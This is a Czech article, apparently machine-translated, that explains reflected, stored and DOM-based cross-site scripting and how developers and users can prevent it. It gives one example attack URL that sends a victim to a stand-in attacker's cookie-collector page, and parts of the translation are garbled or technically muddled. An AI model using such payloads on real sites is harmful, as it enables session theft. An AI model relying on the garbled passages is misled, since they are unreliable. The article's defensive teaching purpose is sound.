Jak hackeři používají skriptování mezi weby k rozbití webových stránek a krádeži dat

Cross-site scripting nebo XSS může být silný a rychlý útok. Jako vývojář to můžete dokonce vzít za chybu ve svém kódu a nakonec hledat chyby, které tam nejsou.

Jako klient využívající zranitelný web můžete také nevinně prozradit důležité informace o vašem přístupu k ověřování útočníkovi.

Co je tedy skriptování napříč weby? Jak to mohou hackeři použít k vloupání na web a ke krádeži vašich dat? A jak můžete zmírnit takové riziko?

Co je skriptování mezi weby?

Cross-site scripting nebo XSS se stane, pokud skript ze škodlivého webu interaguje s kódem na zranitelném.

Servery jsou ale zapojeny způsobem, který lidem bez ověření brání v přístupu a úpravách zdrojového kódu vašeho webu.

Internet k blokování interakcí mezi weby používá zásady stejného původu (SOP). SOP však kontroluje tři hlavní bezpečnostní mezery a snaží se je zmírnit. Oni jsou:

• Zásady internetového protokolu, které kontrolují, zda oba weby dodávají obsah na zabezpečeném SSL (HTTPS) nebo nezabezpečeném URL (HTTP).
• Stejné zásady hostitele webu, které zajišťují, že hostujete oba weby ve stejné doméně.
instagram viewer
• Zásady portů, které kontrolují, zda oba weby používají podobné koncové body komunikace.

SOP si myslí, že pokud se některá z těchto zásad liší pro dva webové stránky, nemůže číst ani si vyměňovat data přes web.

JavaScript je však manipulativní jazyk, který určuje odezvu webu. I když je JavaScript vašeho webu s největší pravděpodobností v samostatném souboru, můžete také vytvořit značku skriptu a zapsat ji do modelu Object Object Model (DOM).

Útočník XSS by si tedy mohl myslet: „Pokud umíte psát JavaScript v DOM, můžete jej nakonec spustit v jakýkoli editor kódu nebo vstupní pole, které přijímá značky HTML. “

Takovou zranitelnost a šanci hledá útočník využívající XSS na cílovém webu. Jakmile najdou takovou mezeru, mohou SOP obejít.

Příbuzný: The Ultimate JavaScript Cheat Sheet

XSS je tedy útok, který únosci používají k vložení skriptu, který provádí škodlivou akci na zranitelný web. Skript může cílit na nechráněné formuláře nebo vstupní pole, která přijímají data.

Jak funguje skriptování mezi weby a typy, s příklady

XSS může být rychlé provedení odraženého nebo dočasného skriptu, který útočník umístí do formulářů, jako jsou vyhledávací pole. Může to být také otravná nebo trvalá injekce do databáze. Nebo to může přijít pasivně po načtení stránky.

V některých případech může tento skript také změnit původní vstup oběti, aby odklonil její záměr. Trvalá změna vstupů uživatele, jako je tato, je mutující XSS.

Ať už přijde jakákoli forma, cílem útoku XSS je ukrást data oběti prostřednictvím odkrytých souborů cookie a protokolů.

Podívejme se na krátké vysvětlení každého z těchto typů útoků XSS a jejich příklady, abychom pochopili, o co jde.

Co je to zrcadlený XSS?

Odražený nebo dočasný XSS je přímé vložení JavaScriptu do vstupního pole uživatele. Zaměřuje se na požadavky, které získávají data z databáze, jako jsou výsledky hledání. Ale je to útok jednoho klienta na cíl.

Během odraženého XSS útočník vloží skript do hledaného výrazu cílové oběti. Takovým JavaScriptem může být ozvěna, přesměrování nebo sběrač souborů cookie.

Skript vložený do vstupního pole pro vyhledávání se poté provede, jakmile cílový klient zadá svůj dotaz.

Například během vyhledávání uživatele může útočník vložit JavaScript, který odráží formulář, a požádat oběť, aby zadala své heslo nebo uživatelské jméno. Jakmile to uživatel udělá, mohl by nakonec nevědomky předat své přihlašovací údaje útočníkovi v domnění, že jde o požadavek z původního webu.

Útočník někdy může také použít skript k přesměrování uživatele ze zranitelné stránky na jeho stránku. Tam na stránce útočníka může být nic netušící uživatel podveden k odeslání několika formulářů, což vede k úniku pověření.

Podobně, pokud je cílem ukrást relaci uživatele, vloží útočník do vyhledávacího dotazu uživatele skript shromažďující soubory cookie. Poté unesou aktuální relaci uživatele, ukradnou příslušné informace a převezmou činnosti oběti.

Níže uvedený příklad útoku XSS ukradne cookie uživatele prostřednictvím požadavku GET:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

Ve výše uvedeném příkladu XSS najde útočník na zranitelném webu mezeru. Když tedy uživatel vyhledá na zranitelném webu nedostupný prostředek, přesměruje ho na stránku útočníka. Útočník poté klepne na soubor cookie aktuálního uživatele a popadne jeho relaci.

Tato chyba zabezpečení je však běžná tam, kde akce dotazu na webu není filtrována, aby se zkontrolovaly injekce skriptu prostřednictvím HTML.

Ale i když existuje filtrovaný dotaz, útočník to může obejít tím, že se uchýlí k zoufalým opatřením, jako je odesílání odkazů možným uživatelům webu v reálném čase. Mohou to udělat pomocí libovolného forma sociálního inženýrství k dispozici.

Příbuzný: Co dělat po pádu na phishingový útok

Jakmile oběti kliknou na takový odkaz, únosce nyní může úspěšně provést útok XSS a ukrást příslušná data oběti.

Trvalé nebo uložené skriptování mezi weby

Uložený XSS představuje více hrozeb. V tomto případě útočník uloží skript do databáze webu a spustí trvalé provedení uloženého skriptu. Uložený kód lze spustit při načtení stránky nebo po načtení stránky.

Na rozdíl od dočasné formy XSS je uložený XSS zaměřen na celou uživatelskou základnu zranitelného webu. Kromě toho se také zaměřuje na integritu postiženého webu.

Během trvalého XSS útočník používá k odeslání skriptu do databáze webu vstupní pole, například formuláře pro komentář.

Ale co když chráníte pole POST tokeny CSRF? Bohužel uložené skriptování mezi weby obchází kontroly CSRF.

Je to proto, že útočník odešle formulář jako každý jiný uživatel webu. Takový formulář pro komentář tedy pošle skript do databáze stejně jako všechny ostatní komentáře.

K takovému útoku může dojít, když vstupní pole na webu nepoužívají správné dezinfekční prostředky pro únik skriptů a značek HTML.

Představte si, že uživatel zveřejní níže uvedený skript pomocí formuláře pro webový komentář:

Když útočník vloží takový kód do databáze webu, přesměruje oběť na web útočníka při načtení stránky. Skript může být také výstraha, interaktivní modální rámeček nebo vložená škodlivá reklama.

Protože skript přesměrovává při načítání stránky, oběť, která tento zranitelný web nezná, si nemusí přesměrování všimnout.

Poté pokračují v interakci s webem útočníka. Únosce však poté může použít několik prostředků k získání informací od obětí, jakmile jsou na jejich webové stránce.

Co je DOM nebo pasivní XSS?

XSS na bázi DOM provede škodlivý kód vložený na web, což nutí celý DOM na straně klienta, aby se choval neobvykle.

Zatímco uložené a odrážené XSS cílí na požadavky na straně serveru na webu, DOM XSS cílí na běhové aktivity. Funguje to tak, že do komponenty webu vložíte skript, který provádí konkrétní úkol. Tato komponenta neprovádí akci na straně serveru.

Skript vložený do takové komponenty však zcela změní svůj záměr. Pokud tato komponenta provede úlohu související s DOM, například ty, které mění prvky webu, může skript přinutit změnit celou webovou stránku.

V horších případech může doména XSS napodobit chybu. Je to proto, že se webová stránka stává neobvykle reaktivní.

Jak zabránit útoku skriptování mezi weby

Zranitelnost XSS pochází z nesprávného použití nejlepších postupů back-endu. Takže prevence útoku skriptování mezi weby je obvykle odpovědností vývojáře. Ale uživatelé mají také svoji roli.

Použití tokenu CSFR pro vstupní pole se nezdá být řešením útoků XSS. A protože tento útok obchází i zásady stejného původu, musí vývojáři dávat pozor, aby nevynechali bezpečnostní postupy, které XSS brání.

Následující preventivní opatření jsou užitečná pro vývojáře.

Sanitize Inputs Fields

Abyste zabránili jak uloženému, tak dočasnému XSS, měli byste pro vstupní pole používat účinné dezinfekční prostředky. Například dezinfekce vyhledávacích dotazů zabrání vložení značky do vyhledávacích dotazů uživatelů.

Použijte Unicode a HTML Auto Escape

Je užitečné používat automatické unikání kódu HTML a Unicode, aby se zabránilo vstupním polím, jako jsou formuláře pro komentáře a převody, v přijímání skriptů a značek HTML. Automatický únik je účinným preventivním opatřením proti uloženému nebo trvalému XSS.

Povolit uživatelům vkládat značky do formulářů komentářů je špatný nápad pro jakýkoli web. Je to narušení bezpečnosti. Pokud to však musíte povolit, měli byste přijímat pouze značky, které nepředstavují XSS hrozby.

Použijte odpovídající ověření vstupu

I když značky zcela zablokujete, útočník může i nadále provést útok XSS prostřednictvím sociálních prostředků. Mohou posílat e-maily místo toho, aby umisťovaly cokoli přímo na zranitelný web.

Další metodou prevence je efektivní ověřování vstupů. Mezi taková opatření patří ověřování protokolů a zajištění toho, že váš web přijímá pouze vstupy ze zabezpečeného protokolu HTTPS, nikoli z protokolu HTTP.

Použití vyhrazených knihoven JavaScriptu, jako je dompurify, může také pomoci blokovat narušení zabezpečení související s XSS.

Můžete použít nástroje jako Skener XSS nebo GEEKFLARE ke kontrole zranitelnosti XSS na vašem webu.

Jak mohou uživatelé zabránit XSS

Na internetu dnes existují miliony webových stránek. Takže jen stěží zjistíte, který z nich má problémy se zabezpečením XSS.

Jako uživatel byste se však měli před použitím seznámit s jakoukoli webovou službou. Pokud se web náhle stane strašidelným nebo se začne chovat neobvykle, může to být červená vlajka.

V každém případě buďte opatrní, abyste osobní údaje nezveřejňovali nedůvěryhodnou třetí stranou. Pak dávejte pozor na nevyžádané e-maily nebo podezřelé příspěvky na sociálních médiích, které mohou vést k jakýmkoli forma phishingových útoků.

Žádná preventivní metoda se nehodí pro všechny

Viděli jsme, jak útok XSS vypadá a jak mu zabránit. Během vývoje je snadné zapomenout na bezpečnostní kontroly XSS. Vývojáři by tedy měli podniknout kroky, aby zajistili, že nebude opomenuta ochrana. Kombinace preventivních opatření, která jsme uvedli dříve, však funguje lépe.

Co jsou útoky CSRF a jak jim můžete zabránit?

Aby vývojáři a uživatelé neztratili hotovost a přihlašovací údaje při útocích na CSRF, musí hrát určitou roli.

O autorovi